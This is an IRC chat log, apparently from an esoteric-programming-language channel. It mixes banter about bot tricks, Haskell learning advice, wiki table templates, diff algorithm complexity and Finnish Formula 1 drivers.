09:29:46 <oerjan> s/latter/Vesterålen one/
09:35:46 <oerjan> 06:06:01: <myndzi> little(?) known fact is that 'yiff' comes from a whole language of dog sounds haha
09:35:50 <oerjan> 06:06:19: <myndzi> by 'whole language' i'm talking like a dozen words of course
09:35:57 <oerjan> hey that's more than enough for turing-completeness!
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11:31:27 <HackEgo> sunz: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
11:35:52 <fizzie> `run (welcome && welcome && welcome) | @ oerjan cat -
11:35:56 <HackEgo> oerjan: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page \ Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page \ Welcome to the international hub for esoteric programming language design
11:37:02 <ion> `run welcome fizzie | perl -CS -Mutf8 -pwe 'y/!-~/！-～/; y/ / /'
11:37:05 <HackEgo> ｆｉｚｚｉｅ： Ｗｅｌｃｏｍｅ ｔｏ ｔｈｅ ｉｎｔｅｒｎａｔｉｏｎａｌ ｈｕｂ ｆｏｒ ｅｓｏｔｅｒｉｃ ｐｒｏｇｒａｍｍｉｎｇ ｌａｎｇｕａｇｅ ｄｅｓｉｇｎ ａｎｄ ｄｅｐｌｏｙｍｅｎｔ！ Ｆｏｒ ｍｏｒｅ ｉｎｆｏｒｍａｔｉｏｎ， ｃｈｅｃｋ ｏｕｔ ｏｕｒ ｗｉｋｉ： ｈｔｔｐ：／／ｅｓｏｌａｎｇｓ
11:37:19 <fizzie> That's the widest welcome.
11:41:21 <fizzie> `run welcome ion | perl -CS -Mutf8 -pwe 'y/a-zA-Z/𝖆-𝖟𝕬-𝖅/'
11:41:24 <HackEgo> 𝖎𝖔𝖓: 𝖂𝖊𝖑𝖈𝖔𝖒𝖊 𝖙𝖔 𝖙𝖍𝖊 𝖎𝖓𝖙𝖊𝖗𝖓𝖆𝖙𝖎𝖔𝖓𝖆𝖑 𝖍𝖚𝖇 𝖋𝖔𝖗 𝖊𝖘𝖔𝖙𝖊𝖗𝖎𝖈 𝖕𝖗𝖔𝖌𝖗𝖆𝖒𝖒𝖎𝖓𝖌 𝖑𝖆𝖓𝖌𝖚𝖆𝖌𝖊 𝖉𝖊𝖘𝖎𝖌𝖓 𝖆𝖓𝖉 𝖉𝖊𝖕𝖑𝖔𝖞𝖒𝖊𝖓𝖙! 𝕱𝖔𝖗 𝖒𝖔𝖗𝖊 𝖎𝖓𝖋𝖔𝖗𝖒𝖆𝖙𝖎𝖔𝖓,
11:41:39 <fizzie> (Sadly, it does not work in my terminal; had to go all XChat for it.)
11:41:45 <ion> Works in mine.
11:41:56 <fizzie> Possibly a font problem.
11:43:26 <fizzie> Heh; at codu logs with this work-borwser, doesn't show up in the regular logs but does show up in the "text" and "raw" ones.
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14:43:35 <RocketJSquirrel> <fizzie> Heh; at codu logs with this work-borwser, doesn't show up in the regular logs but does show up in the "text" and "raw" ones. // whoah, same here ... that's odd.
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14:47:54 <fizzie> That's funny, the HTML version is physically full of ef bf bd (that's UTF8ese for U+FFFD REPLACEMENT CHARACTER) where the characters should be.
14:48:18 <fizzie> They're non-BMP characters, maybe someone has Uniscrewed up?
14:48:30 <fizzie> (That's what screwing up Unicode support is called.)
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16:07:05 <Phantom_Hoover> Yes, didn't you know that elliott's real name is actually Ell Iot the Third?
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16:26:16 * Sgeo learns of the being known as Xah Lee
16:26:24 <Sgeo> http://groups.google.com/group/comp.lang.lisp/browse_thread/thread/71ff72fc0f45ec82
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16:38:40 <Taneb> The UK's going to lose Eurovision this year.
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17:24:40 <Taneb> I'm thinking of learning C++
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17:27:14 <Taneb> Any suggestions for a tutorial?
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17:29:18 <Taneb> WWW isn't working, but IRC seems to be?
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17:30:19 <Taneb> Skype seems to be working too
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17:35:36 <Ngevd> So... I shouldn't learn C++?
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17:39:10 <Ngevd> I'm looking for a language to learn that isn't Haskell.
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17:39:34 <Ngevd> Because, while Haskell is great and all, it's all I know other than a little Python and less VB
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17:40:22 <Ngevd> Okay, can you recommend a C tutorial?
17:41:11 <ais523> RocketJSquirrel: it's capitalised "OCaml", which would have worked just as well
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17:44:53 -!- RocketJSquirrel has set topic: Watch me pull this topic out of my hat! | http://codu.org/logs/_esoteric/.
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18:05:41 <HackEgo> sidneycavalanti: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
18:07:56 <fizzie> You just did a causality violation.
18:09:15 <itidus21> google celebrates origami grandmaster akira yoshizawa.. wiki page includes link to Tribute by David Lister (no relation to red dwarf)
18:10:14 <itidus21> i only mentioned it for the red dwarf reference
18:10:25 <zzo38> Do you agree/disagree some of Eleven Satanic Rules of the Earth?
18:10:36 <RocketJSquirrel> itidus21: Make sure you keep us up to date on all potential Red Dwarf references.
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18:26:35 <zzo38> Once I saw some question asking if "I is" can be used in English language. Now I have a second question to go with it, which is if "i is" can be used in English language.
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18:27:32 <itidus21> at least in my imagination he does
18:28:22 <itidus21> i is savvy to right grammar feel me?
18:29:09 <zzo38> I was thinking of "i is the square root of negative one".
18:29:51 <itidus21> that would be the textual rorschach test
18:31:04 <itidus21> you probably want to field your comments to more than one person
18:31:59 <fizzie> Funny, this Chromium (17) doesn't do a 'fi' ligature in the text, where a Firefox (10) does.
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18:34:24 <fizzie> (Even though 17 is like seven more than 10.)
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19:01:48 <elliott> 08:53:53: <olsner> "For the next release I’m trying to decide whether to roll to one of the super-bloated newer Linux kernels or write my own USB stack plus SATA and UDMA drivers for 2.0.28."
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19:01:52 <elliott> olsner: he's great isn't he
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19:05:49 <olsner> nice, proggit found a "Single-process, event-driven server from 1999!"
19:06:23 <fizzie> Let's serve like it's 1999?
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19:08:14 <elliott> 17:40:00: <RocketJSquirrel> !c printf("Then learn %c\n", unix["OCAML"]);
19:08:14 <elliott> 17:40:05: <EgoBot> Then learn C
19:08:23 <elliott> is unix even a standard symbol
19:08:26 <oerjan> 16:38:40: <Taneb> The UK's going to lose Eurovision this year.
19:08:26 <oerjan> 16:38:42: <Taneb> Again.
19:08:36 <oerjan> did someone tell them there's only one winner each year?
19:08:55 <elliott> RocketJSquirrel: Pollution :'(
19:08:56 <olsner> elliott: likely not standard-standard, but one of the symbols you can #ifdef to see if you're on unix
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19:10:16 <fizzie> !c printf("Best letter: %c", __DBL_DIG__["ABCDEFGHIJKLMNOPQRSTUVWXYZ"]);
19:10:42 <fizzie> At least it's got the __s, though.
19:11:13 <fizzie> According to "gcc -E -dD -x c /dev/null", "linux" and "unix" are the only underscoreless ones here.
19:12:40 <elliott> !c printf("%c", "abcdefghijklmnopqrstuvwxyz"[_POSIX_VERSION%26]);
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19:15:45 <olsner> !c printf("%d",_POSIX_VERSION);
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19:17:12 <fizzie> !c printf("%c", unix[__VERSION__]);
19:17:40 <fizzie> Oh, I should've printed it with %d for more confusion.
19:17:44 <fizzie> !c printf("%d", unix[__VERSION__]);
19:17:51 <fizzie> It's obviously a V46 Unix.
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19:21:23 <elliott> shachaf: "appEndo looks a lot less like a magic spell when you spell it app_endo" --DanBurton
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19:23:58 <oerjan> (spells are _supposed_ to be broken latin, right?)
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19:26:45 <olsner> for some reason this open IRC connection works although any new outgoing connections are broken
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19:26:59 <oerjan> i had that happen once.
19:27:05 <oerjan> it was dns which was done
19:27:51 <olsner> well, ping and dns works...
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19:28:20 <oerjan> or wait was it that even weirder case when my isp lost contact with most places outside norway
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19:28:55 <oerjan> but i could log on to nvg, and from there to anywhere. or was it more complicated than that.
19:29:01 <olsner> seems I'll have to get a server someplace on the internet, then do ip-over-ping to that server
19:29:49 <olsner> or just switch ISP to something that doesn't require this netgear crap
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19:36:49 <oerjan> somehow i have never had that problem.
19:37:47 <oerjan> my problem is more of the never managing to take off kind.
19:37:55 <elliott> do you have any ideas for better names for [[EsoInterpreters]]? :P
19:38:14 <fizzie> Esorters. Wait, no, "better". Sorry.
19:38:15 <elliott> I suppose [[Interpreters in esoteric languages]] would work, but that could be used for implementations of /non-esoteric/ languages in esolangs
19:38:20 <oerjan> i don't see what's wrong with it.
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19:38:44 <fizzie> [[Interpreters of esoteric languages in esoteric languages by esoteric languages for esoteric languages]].
19:38:49 <elliott> oerjan: well the camelcase is very out-of-place and it doesn't offer any useful information beyond "Interpreters"
19:39:02 <oerjan> elliott: well if we get any of those they would probably deserve to be there
19:40:24 <elliott> oerjan: err, wat? it's meant to be a cross-reference. if you add a column you add a row. thus if i implemented C in Thue, we'd have to add implementations of all the esolangs in C to the table
19:40:52 <oerjan> we have many more rows than columns
19:41:23 <oerjan> in fact i've been thinking that if we get much more columns it should be split up, i thought the self-interpreters could be their own table
19:41:36 <olsner> I think that table wants to be automatically generated
19:41:40 <elliott> well ok "if you add a row and there are any relevant column entries then you add a column"
19:41:55 <elliott> olsner: yes, that was what i was going to work on, but then i got annoyed at the page name again.
19:43:01 <olsner> I think fizzie is on the right track with [[Interpreters of esoteric languages in esoteric languages by esoteric languages for esoteric languages]]
19:44:11 <zzo38> How does ip-over-ping work?
19:45:25 <fizzie> olsner: Are you sure it's not lacking few more prepositions? Under esoteric languages alongside esoteric languages betwixt esoteric languages notwithstanding esoteric languages?
19:45:41 <olsner> zzo38: based on my recent experiments, better than ip-over-internet
19:47:06 <olsner> well, tcp/ip-over-internet, the ip part is actually somewhat working
19:47:15 <olsner> fizzie: I'd google for even more prepositions if I could
19:48:01 <elliott> oerjan: btw i _believe_ that it can be generated with a (hideous) template
19:48:14 <elliott> so that all you'd need to do is something like
19:49:00 <elliott> | slashes=[[:///]];bct http://oerjan.nvg.org/esoteric/slashes/bct.sss;bct http://esolangs.org/wiki/User:Nthern/archive#BCT_interpreter_in_.2F.2F.2F
19:49:45 <elliott> hmm is Ook! _really_ a joke language? we have worse BF derivatives categorised as languages :P
19:52:19 <zzo38> Today's horoscope include a grand trine of Ven-Mar-Plu and Jup-Mar-Plu. (Actually, Lilith does too.) So, if someone ask you, what is today's horoscope? Then tell them there is the grand trine. If they ask you what that means, tell them it is three objects 120 degrees apart of ecliptic longitude from each other.
19:54:22 <oerjan> istr r/astronomy had pictures of a venus-jupiter conjunction some days ago
19:55:17 <oerjan> or wait is that what this implies today
19:55:17 <ais523> elliott: hmm, well it was intended as a joke…
19:55:19 <zzo38> There is the Venus-Jupiter conjunction even today it seems; although their ecliptic latitudes differ.
19:55:21 <ais523> this is as bad as the esolang/not esolang thing
19:55:27 <ais523> I'd prefer to categorise it as nonjoke, though
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19:56:02 <zzo38> (If there is Ven-Mar-Plu and Jup-Mar-Plu grand trines today, that does imply Venus-Jupiter conjunction)
19:56:16 <elliott> ais523: we seem to treat direct brainfuck ciphers as joke languages
19:56:26 <elliott> ais523: btw, did you hear that someone wrote an underload self-interp?
19:57:00 <ais523> elliott: you mean, not the ()^ joke one?
19:57:06 <ais523> it shouldn't be too hard
19:57:10 <zzo38> I have never looked at the actual planets with a telescope, although I sometimes see moon and planets and stars and so on just looking outside, I can see which direction and how close they are to each other and so on. I can compute horizon view on my computer as well, though.
19:57:16 <fizzie> olsner: 'betwixt' and 'notwithstanding' were from http://en.wikipedia.org/wiki/List_of_English_prepositions
19:57:22 <ais523> in fact, it should be pretty easy
19:57:24 <fizzie> olsner: Not that you probably can see it HA HA AH
19:57:36 <elliott> "An Underload self-interpreter without cheating would be quite an achievement!" --you, 2007
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19:58:22 <oerjan> the question would be how the input is encoded, no?
19:58:54 <elliott> church numerals apparently
19:58:55 <oerjan> without encoding, i see no way to evaluate (:^):^ without cheating
19:59:17 <kmkr> a question. which one i should learn? haskell, scheme, or lisp?
19:59:29 <zzo38> kmkr: Perhaps learn all three.
19:59:30 <kmkr> i see many esolang related programs are written in haskell
19:59:42 <oerjan> well it's my favorite language these days
20:00:13 <kmkr> heh, when i was writing that i was in fact thinking about your programs :D
20:01:00 <zzo38> I wrote a compiler for the esolang Constantinople, in Haskell.
20:01:14 <elliott> oerjan and zzo38 are probably to blame for the number of haskell esolang programs
20:01:29 <elliott> but it's rather popular in here too
20:01:37 <elliott> kmkr: as far as "lisp" goes, assuming you mean Common Lisp, I wouldn't bother
20:01:40 <zzo38> If you do search in esolang wiki, you can find other things too.
20:01:46 <elliott> (R5RS) scheme is a far more interesting language in that family
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20:02:21 <elliott> if you learn haskell, scheme will be easy to learn. scheme knowledge helps comparatively less in learning haskell. but scheme is easier to learn coming from a background of "traditional" languages
20:03:31 <oerjan> > nubBy(((>1).).gcd)[2..]
20:03:32 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
20:03:46 <elliott> ais523: hey, is it possible to do a map over every parameter in mediawiki?
20:04:11 <ais523> not as far as I know, unless you know all the possible parameter names, and only then via the stupidest form of iteration
20:04:38 <ais523> I seem to remember the devs yelling at the authors of {{for}}, too
20:04:46 <elliott> ais523: hmm... what do templates that take arbitrary amounts of data do, then? oh, hmm, perhaps I can achieve this with X-Macros
20:04:48 <ais523> because it produced too much server load, or something
20:04:50 <zzo38> Make a MediaWiki extension.
20:04:56 <elliott> does {{ {{{1}}} | blah }} ever work to invoke a template?
20:04:57 <ais523> elliott: they cap at an arbitrary number
20:05:08 <elliott> OK, so I can produce a data file like
20:05:08 <ais523> this is the usual way to do large hash tables
20:05:14 <elliott> {{ {{{1}}} | name=abc | foo=bar }}
20:05:14 <elliott> {{ {{{1}}} | name=abc | foo=bar }}
20:05:19 <elliott> and then call it from other templates
20:05:25 <elliott> which pass another template as an argument
20:05:33 <ais523> where are you going with this?
20:05:40 <elliott> ais523: trying to generate the [[EsoInterpreters]] table
20:05:47 <elliott> because it's unmaintainable :P
20:06:08 <kmkr> oerjan: would you recommend any particular haskell implementation? should work in windows.
20:06:19 <elliott> kmkr: http://hackage.haskell.org/platform/
20:06:24 <zzo38> kmkr: I use GHC myself.
20:06:32 <elliott> it includes a windowsy REPL (like python console)
20:06:45 <zzo38> Also, I have sometimes wanted something that includes things of Haskell, Lisp, and Scheme.
20:06:53 <elliott> kmkr: http://learnyouahaskell.com/ is the best tutorial to learn Haskell with
20:07:48 <oerjan> is #haskell still recommendable?
20:08:13 <elliott> #esoteric is the best place for haskell help :p
20:08:27 <oerjan> i guess that's accurate
20:08:41 <elliott> kmkr: i might as well give the standard advice to forget everything you know about programming, since haskell is so different to everything else
20:08:57 <elliott> but i guess that's less of a problem for esolangers :P
20:09:00 <kmkr> ah. easily done
20:09:11 <zzo38> kmkr: Here is one Haskell program in esolang wiki: http://esolangs.org/wiki/Pure_BF/Implementation
20:09:37 <elliott> kmkr: i feel compelled to note that zzo38's haskell style is not considered idiomatic.
20:09:43 <oerjan> kmkr: you should perhaps know that zzo38 has a rather d... right :P
20:10:08 <oerjan> i'm not 100% mine is, either, but at least i use layout
20:10:16 <zzo38> elliott: Yes you are correct. But it does not necessarily have to be idiomatic to work.
20:10:43 <oerjan> i suppose it might also be nice to see how different from idiomatic you _can_ program
20:11:04 <zzo38> I just do it the way which makes sense to me
20:11:16 <elliott> ais523: hmm, I have a feeling this may need more template metaprogramming than mediawiki can support
20:12:04 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946...
20:13:54 <oerjan> > filterM(const[True,False])[1,2,3] -- and yet another haskell example
20:13:55 <zzo38> oerjan: How is your Haskell programming difference from whatever other style there is?
20:13:55 <lambdabot> [[1,2,3],[1,2],[1,3],[1],[2,3],[2],[3],[]]
20:14:30 <kmkr> what does idiomatic even mean in programming?
20:14:52 <oerjan> zzo38: i don't know, i'm just not assuming i'm entirely idiomatic.
20:15:04 <zzo38> It is the compound word of "idiot" and "automatic".
20:15:36 <elliott> ais523: http://esolangs.org/w/index.php?title=User:Ehird/sandbox/data&action=edit
20:15:47 <oerjan> that `flip` idiom i just started using in my BFQdeql might not be very widespread
20:15:52 <kmkr> really? i was thinking of idioms in normal languages
20:16:12 <elliott> kmkr: it's pretty much the same as the natural language meaning
20:16:21 <oerjan> but otoh i haven't read that much other code
20:16:35 <monqy> kmkr: idiomatic is not a compound of idiot and automatic
20:16:35 <oerjan> kmkr: i think zzo38 was joking.
20:16:52 <elliott> kmkr: what me and oerjan were trying to say is that zzo38's programs are written and structured in a very different way than most people skilled in haskell would structure them.
20:17:19 <elliott> thus reading them is unlikely to help a beginner learn the language :p
20:17:50 <zzo38> I don't think that necessarily means they won't help anyone
20:18:29 <oerjan> zzo38: i think they're more useful to get a wider perspective once you've learned the basics
20:18:50 <kmkr> probably i'll deviate from the usual way myself once i learn the basics
20:19:12 <elliott> might take more than learning the basics to be able to productively deviate from the usual style in haskell
20:19:53 <kmkr> that remains to be seen. i have no idea what to expect.
20:20:18 <kmkr> i'm basically starting from zero
20:20:24 <kmkr> with this kind of programming
20:20:27 <zzo38> I think you can learn the basics in any way you just do it in whatever way make most sensible for you.
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20:31:19 <elliott> hey oerjan, can you convert [[EsoInterpreters]] to use a wikitable and ths? :P
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20:32:40 <oerjan> you mean html table syntax? i'm not very familiar with it.
20:32:55 <elliott> I just meant using ! headings for the language names
20:33:10 <kmkr> guess what might look good? some javascript thing where languages would be circles that move in circles and lines with an arrow tip would connect them, pointing which language is implemented in which
20:33:15 <oerjan> well i suppose that should be possible to achieve.
20:33:46 <elliott> kmkr: you won't catch me implementing that any time soon :P
20:37:03 <oerjan> elliott: it's already trying to use something called "wikitable plainlinks"
20:37:25 <ais523> plainlinks gets rid of the external link arrow on external links, right?
20:38:04 <oerjan> elliott: oh that was you. i was just about to remove the plainlinks part :P
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20:41:14 <elliott> oerjan: yes. except you removed the right-alignment of the text
20:41:25 <elliott> oh just needs s/align="right"/style="text-align: right"/g
20:41:32 <oerjan> no i didn't, i just hit that bug again
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20:43:17 <oerjan> incidentally i just c/p your s///g line
20:44:30 <elliott> oerjan: ok now my secret additional plan is to use some CSS or JS to get crosshair highlighting
20:44:37 <elliott> i.e. rolling over a cell highlights the column and the row
20:48:16 <Phantom_Hoover> elliott, also confirm/deny that your name in Hexhamese is Ell Iot the Third.
20:52:11 <ais523> eot the llI (best viewed in a font where l and I look much the same)
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20:57:17 <ais523> hmm, all the known diff algorithms seem to be O(n^2) worst case
20:57:24 <ais523> so why does diff not take ages in practice?
20:58:16 <elliott> and they're not worst-case
20:58:32 <ais523> the worst case seems pretty plausible in practice, though
20:58:44 <ais523> (one small change near the start, one small change near the end, arbitrary changes elsewhere)
21:01:39 <fizzie> ais523: Do the tools actually guarantee optimal diffs, though? They could just be using windows of reasonable size.
21:02:35 <ais523> fizzie: I was wondering about that
21:02:35 <elliott> that also is what i say was going to
21:02:40 <ais523> but this algo doesn't seem to have a concept of a window
21:04:57 <fizzie> ais523: If it's the dynamic-programming tabular thing, I think you can retrofit a window into it by restricting things on the "diagonal" (+ fiddling), though I haven't thought this through.
21:06:19 <fizzie> "The basic algorithm is described in "An O(ND) Difference Algorithm and its Variations", Eugene W. Myers, Algorithmica Vol. 1 No. 2, 1986, pp. 251-266; and in "A File Comparison Program", Webb Miller and Eugene W. Myers, Software--Practice and Experience Vol. 15 No. 11, 1985, pp. 1025-1040." Is that / are those the things you were referring to?
21:07:02 <ais523> I was basing it on the dynamic programming algo in Wikipedia
21:07:30 <fizzie> That was a quotation from the diffutils infopage.
21:07:54 <ais523> hmm, I'd need a good academic library to get copies of those
21:07:59 <ais523> I have access to one, but not right now
21:08:24 <fizzie> http://www.xmailserver.org/diff2.pdf
21:09:30 <elliott> fizzie: That's ILLEGAL!!!! (Possibly.)
21:10:04 <fizzie> They say it's O(ND) where D is the size of the edit script, which is small for reasonable files; and O(N+D^2) "random-case".
21:10:25 <ais523> elliott: meh, I can almost certainly access it legally if I just wait until tomorrow
21:10:25 <fizzie> I guess it's possible. It was the first google-hit for the paper title.
21:11:16 <elliott> http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.4.6927 has a PDF.
21:11:21 <elliott> Or is CiteSeerX illegal too?
21:11:58 <fizzie> The "download link" there is to xmailserver.org.
21:12:26 <elliott> Yes, but it has a cached copy.
21:12:46 <fizzie> It's a weird place for that document.
21:13:26 <fizzie> I suppose a mail server could concievably make use of it, maybe, somehow, but still.
21:14:34 <elliott> oerjan: so, is self-BCT TC?
21:17:40 <fizzie> ais523: Also to finish the quotation, "The algorithm was independently discovered as described in "Algorithms for Approximate String Matching", E. Ukkonen, Information and Control Vol. 64, 1985, pp. 100-118.". I think I've read that, or at least some string paper by Ukkonen.
21:18:03 <elliott> <fizzie> (Finnish people are very smart.)
21:18:15 <elliott> <fizzie> (They're speech recognition researchers and whatnot.)
21:18:20 <ais523> fizzie: finnish names are reasonably recognizable; I know a few from following Formula 1
21:19:14 <fizzie> Anyway, that last paper is available from the author's page at Helsinki University.
21:19:40 <elliott> ais523: Too bad they never reach the Finnish line.
21:20:01 <fizzie> Google Scholar finds it; I'd paste a link but I can't quite figure out how to get the actual PDF with this phone.
21:20:20 <ais523> elliott: I know that was a bad joke, but IIRC there have been Finnish Formula 1 world champions
21:20:50 <fizzie> I think >1, though I don't really follow.
21:21:04 <ais523> nor do I nowadays, although I used to
21:21:08 <fizzie> If not world champions, then at least relatively successful drivers.
21:21:36 <elliott> <fizzie> (I do follow, of course. We Finns have to do everything we can to see the incredibly rare sight of a Finn winning at anything.)
21:21:45 <elliott> <fizzie> (But I can't let the foreigners know that.)
21:22:02 <fizzie> Mika Häkkinen and Kimi Räikkönen and Mika Salo are I think people who do things with cars.
21:23:38 <fizzie> Could you, I don't know, shut up or something?
21:24:08 <ais523> fizzie: hmm, people never write the accents on their names in the UK
21:24:14 <ais523> not even on the official commentary thing
21:24:18 <ais523> is it usual to omit them in Finland too?
21:24:22 <elliott> fizzie: I think your speech recognition software just malfunctioned. Did someone ask you a question after you said "Could you,"?
21:24:28 <elliott> The answer got included in your IRC line.
21:25:41 <fizzie> Also I thought Keke Rosberg was a rally driver, but apparently he's a F1 world champion (the first Finnish) too. There's some sort of an idiotic "song" about him.
21:26:02 <fizzie> "Kekekekekekekeke Roosberi Roosberi" or so on.
21:27:25 <elliott> <fizzie> (The Finnish national anthem.)
21:29:57 <ais523> elliott: if you're going to troll fizzie, at least make it vaguely good trolling
21:30:11 <elliott> ais523: This is pretty good by Finnish standards!!!
21:30:42 <oerjan> elliott: no, that would be Mämmi
21:32:43 <oerjan> i can only assume fizzie left to invade norway.
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21:37:59 <fizzie> The song, maybe: http://fi.wikipedia.org/wiki/Keke_Rosberg_formula_rock
21:38:34 <elliott> This song is about a family father, who bought a family car.
21:38:34 <elliott> "Dad bought the car, it's pretty tasteless."
21:38:34 <elliott> Father may be influenced by Rosberg driving style, and he was shipped over to tear around the extensive family of traffic.
21:38:34 <elliott> "The car is turbocharged, the driver is Urpo. Gas-presses, gas money is a loan, the family kuskaa, not realizing puskaa, where the bollard lurking ... »
21:38:35 <elliott> Father's racing ends when he drives into the woods, as a result will have a wheelchair .
21:38:37 <elliott> »... Father driving mettään not known kettään. Away from the father's concern, it is sufficient wheelchair ... »
21:38:40 <elliott> The boy may later own a moped, and you drive the same style as his father.
21:40:11 <elliott> These words ACTUALLY MAKE SENSE TO FINNS
21:40:23 <elliott> "Matti Kalervo, "Peltsi" not set ( March 28, 1951 in Helsinki - July 13, 1995 Vasa ) was a well-known Finnish actress . He was able to make 50 the role of the film career and became known especially in Aki Kaurismäki's films as an actor standard."
21:40:29 <elliott> fizzie: How many of your actresses are male?
21:40:52 <fizzie> http://www.youtube.com/watch?v=jOp4z2MkCOo -- the description mentions a translation.
21:41:25 <elliott> Sorry, the file you requested is not available.
21:41:26 <elliott> - File date limit has expired.
21:41:26 <elliott> - File was not successfully uploaded.
21:41:26 <elliott> Please contact the uploader and ask them to upload the file again. sendspace is not able to help you in this matter.
21:42:40 <fizzie> The YT comments have some lyrics, but they're not much better than GT.
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21:44:08 <elliott> ais523: Did you know that Memory Alpha's main page is [[Portal:Main]]?
21:44:34 <elliott> ais523: On the other hand, it's a Wikia.
21:45:02 <elliott> fizzie: These other-language Wikipedias are so... depressing.
21:45:10 <elliott> The articles are so pitiful.
21:45:14 <RocketJSquirrel> "IDW Publishing has announced the release of a Next Generation/Doctor Who crossover comic, entitled Assimilation2."
21:45:39 <elliott> "Google's corporate culture has been a slogan "Do not be evil" (Do not be evil), according to which it tends to keep terms with the users, rather than the formation of high-hated company. However, the slogan has occasionally been mentioned by others might be unduly: Google's own corporate presentation, it is the sixth list of ten principles and describes the company's mainly a way to offer ads, that is, to avoid irrelevant, pushy, or disguised ad
21:45:56 <RocketJSquirrel> elliott: This sounds like the worst of all possible ideas X-D
21:46:16 <ais523> RocketJSquirrel: Next Generation here refers to the Star Trek series?
21:46:22 <elliott> http://stackoverflow.com/questions/9692630/implementing-haskells-maybe-monad-in-c11
21:46:31 <elliott> RocketJSquirrel: And therefore the best.
21:46:42 <ais523> and it sounds like the worst of all possible good ideas, to me
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21:47:52 <ais523> (well, no, it doesn't, I just wanted to say that)
21:49:38 <elliott> fizzie: That song. It is in my head now.
21:49:40 <elliott> Curse your Finnish revenge.
21:49:43 <RocketJSquirrel> I think it might be the best of all possible abysmally bad ideas.
21:50:23 <elliott> Like being the tallest dwarf.
21:52:59 <zzo38> But what if belief of Intelligent Design operating with evolution?
21:53:02 <fizzie> We had an Intelligent Design seminar at the university once, maybe six-seven years back. It was the weirdest thing.
21:53:19 <zzo38> fizzie: OK then explain
21:54:01 <fizzie> Did you know that the idea of the eye evolving is as ludicrous as an LP record that can be flipped around?
21:54:09 <fizzie> Or something like that.
21:54:28 <fizzie> It was mostly weird metaphors like that.
21:54:53 <zzo38> Some (not necessarily all) LP records can be flipped around. What is the point of metaphors like that?
21:55:45 <ais523> clearly an LP that can be flipped around couldn't possibly evolve, because what use would it be to have half a song on the other side?
21:56:27 <oerjan> the point of metaphors are to flip around, before they fall flat on the floor, butter side down.
21:56:28 <zzo38> Maybe if it is too long to fit on one side of a single record.
21:56:30 <elliott> <zzo38> But what if belief of Intelligent Design operating with evolution?
21:56:41 <elliott> zzo38: The two are incompatible by definition. "Intelligent Design" != "intelligent design".
21:56:49 <fizzie> It was organized by this http://fi.wikipedia.org/wiki/Matti_Leisola dude.
21:56:54 <elliott> (e.g., intelligent design of the initial conditions of the universe and evolution are compatible)
21:57:04 <elliott> (but Intelligent Design, the ideology, specifically contradicts evolution)
21:57:25 <zzo38> Yes I know what you mean once you mentioned the capitalization at once.
21:58:35 <fizzie> Ooh, the article mentions our thing. Seems it was in 2004.
21:59:14 <fizzie> With e.g. Richard Sternberg lecturing.
22:00:24 <fizzie> I vaguely recall there were some rather pointed questions from the audience, but not much was accomplished (oh no).
22:00:27 <ais523> what time zone offset is PST?
22:00:30 -!- augur has quit (Remote host closed the connection).
22:01:06 <ais523> trying to make sense of this Azure timezone bug
22:01:08 <fizzie> Except the "Skepsis" organization gave Leisola the "Huuhaa" ("woo-woo") award.
22:01:51 <elliott> ais523: they had another datetime bug?
22:01:53 <fizzie> ais523: Pacific or Philippines? Both use the same abbreviation.
22:02:00 <ais523> elliott: no, the feb 29 one
22:02:06 <ais523> fizzie: doesn't say, but I'm guessing Pacific from context
22:02:32 <fizzie> ais523: PST was featured prominently in that horrible "round to midnight" discussion #esoteric had.
22:03:08 <fizzie> The fact that one meaning of PST is +8 and one -8 and both are 0 (modulo 8) was also involved.
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22:06:41 <fizzie> Anyway, to jump back a bit; Leisola is one of those "microevolution happens, but the real thing doesn't", and I think mostly because he's worked on biochemistry a lot, and it's been so difficult, and therefore it's "ridiculous" to think that evolution could manage to accomplish anything, when he himself hasn't.
22:07:07 <fizzie> Also he thinks the Flood happened, and the Ark had one of each baramin, or whatever.
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22:08:31 * Phantom_Hoover decided to generate a large DF world with history set to very long.
22:08:34 <fizzie> But even given all that, apparently he still has managed to do quite a lot of good chemistry.
22:09:01 <elliott> Phantom_Hoover: dude, what happened to THE FORTRESS YOU WERE BUILDING?
22:10:10 <Phantom_Hoover> elliott, I had my doubts about the embark site wait it's past ten oh no what
22:10:36 -!- augur has joined.
22:11:22 <Phantom_Hoover> A cavern layer in the wrong place could easily devastate the fortress' design; I stupidly used reveal, and wasn't able to resist the temptation to probe the entire map into boringness.
22:12:03 <elliott> Phantom_Hoover: Remember when you were all "ME, CHEAT? PFFFT NO YOU'RE PARANOID"?
22:12:50 <Phantom_Hoover> I've never used reveal on a running fort, and I've cut back on use of prospect almost entirely.
22:16:13 <Phantom_Hoover> elliott, and anyway, your opposition to me cheating extended to outlawing turning the temperature simulation off, even though it was the only thing keeping large forts playable for me.
22:16:58 <elliott> Phantom_Hoover: ":'(" -- phantom hoover
22:17:05 -!- pikhq has joined.
22:17:14 <elliott> ais523: hey, you're good at proving things sub-TC, right?
22:17:15 -!- pikhq_ has quit (Ping timeout: 245 seconds).
22:17:38 <ais523> elliott: moderately good
22:17:48 <ais523> although don't mention something like Dupdog or Xigxag, I don't have a clue with those
22:18:53 <elliott> ais523: well, I want to design a language like self-BCT or Clue (Keymaker), except even simpler
22:19:19 <ais523> hmm, I hate TC proofs for those sorts of languages
22:19:32 <elliott> that's why I asked for a sub-TC proof!
22:20:05 * RocketJSquirrel hands ais523 an onion bagel with sour cream and caramel sauce.
22:20:44 <oerjan> as any computation must remove a layer of the onion, it eventually terminates. Q.E.D.
22:20:53 <ais523> elliott: and the reverse :)
22:21:08 <olsner> bagels, are we talking about bagels now?
22:21:50 <elliott> basically, the thing I don't like about self-BCT is that it has an IP
22:21:58 <elliott> separate to the notion of a leftmost bit
22:27:53 <elliott> does self-BCT have a separate IP?
22:28:25 <oerjan> it's pretty clear from the trace example
22:30:05 <elliott> oerjan: BEEEEEEEEEEEEEEEEEP TC OR NOT TC
22:30:11 * elliott knows how to get oerjan to do things.
